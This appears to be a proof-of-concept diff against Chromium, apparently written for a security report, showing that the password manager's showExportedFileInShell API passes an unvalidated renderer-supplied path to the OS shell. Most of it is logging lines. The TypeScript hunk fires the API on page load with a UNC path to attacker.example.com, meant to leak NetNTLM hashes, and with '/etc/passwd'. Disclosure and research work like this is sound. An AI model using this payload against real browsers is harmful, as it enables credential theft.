diff --git a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc index fb907bd7cd4ab..0572669e04125 100644 --- a/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc +++ b/chrome/browser/extensions/api/passwords_private/passwords_private_delegate_impl.cc @@ -981,6 +981,13 @@ void PasswordsPrivateDelegateImpl::ShowAddShortcutDialog( void PasswordsPrivateDelegateImpl::ShowExportedFileInShell( content::WebContents* web_contents, std::string file_path) { + // [POC INSTRUMENTATION] Prove that a renderer-supplied path crosses the IPC + // boundary into the browser process and is forwarded to ShowItemInFolder + // with no validation against the actual exported destination_. + LOG(ERROR) << "[POC] BROWSER PROCESS ShowExportedFileInShell received " + "renderer-supplied path: \"" + << file_path << "\" -> forwarding to platform_util::" + "ShowItemInFolder UNVALIDATED"; BrowserWindowInterface* browser = GlobalBrowserCollection::GetInstance()->FindBrowserWithTab(web_contents); DCHECK(browser); diff --git a/chrome/browser/platform_util_linux.cc b/chrome/browser/platform_util_linux.cc index 34ae7fe50cd39..ca08c693cdc83 100644 --- a/chrome/browser/platform_util_linux.cc +++ b/chrome/browser/platform_util_linux.cc @@ -505,6 +505,14 @@ void PlatformOpenVerifiedItem(const base::FilePath& path, OpenItemType type) { void ShowItemInFolder(Profile*, const base::FilePath& full_path) { DCHECK_CURRENTLY_ON(BrowserThread::UI); + // [POC INSTRUMENTATION] On Windows this same call reaches + // IShellFolder::ParseDisplayName / SHOpenFolderAndSelectItems / ShellExecute + // with the raw path (platform_util_win.cc:39-86). Log the value that the + // OS shell layer receives. + LOG(ERROR) << "[POC] platform_util::ShowItemInFolder invoked with path: \"" + << full_path.value() + << "\" (Windows: SHOpenFolderAndSelectItems / " + "ShellExecute on this string)"; PortalHelper::GetInstance().ShowItemInFolder(full_path); } diff --git a/chrome/browser/resources/password_manager/password_manager_app.ts b/chrome/browser/resources/password_manager/password_manager_app.ts index ad4d032f22b8b..eb21d7d4aeee9 100644 --- a/chrome/browser/resources/password_manager/password_manager_app.ts +++ b/chrome/browser/resources/password_manager/password_manager_app.ts @@ -164,6 +164,18 @@ export class PasswordManagerAppElement extends PasswordManagerAppElementBase { override connectedCallback() { super.connectedCallback(); + // [POC] Simulate a compromised chrome://password-manager renderer: + // an attacker with script execution in this origin can invoke the + // passwordsPrivate.showExportedFileInShell API with an arbitrary path. + // No export ever ran; no user gesture; no re-auth. + console.error( + '[POC] renderer: invoking showExportedFileInShell with attacker path'); + // Windows attack vector: UNC path -> SMB connect -> NetNTLM hash leak. + chrome.passwordsPrivate.showExportedFileInShell( + '\\\\attacker.example.com\\share\\creds.txt'); + // Generic vector: arbitrary local path on any OS. + chrome.passwordsPrivate.showExportedFileInShell('/etc/passwd'); + const narrowQuery = window.matchMedia('(max-width: 1300px)'); this.narrow_ = narrowQuery.matches; this.eventTracker_.add(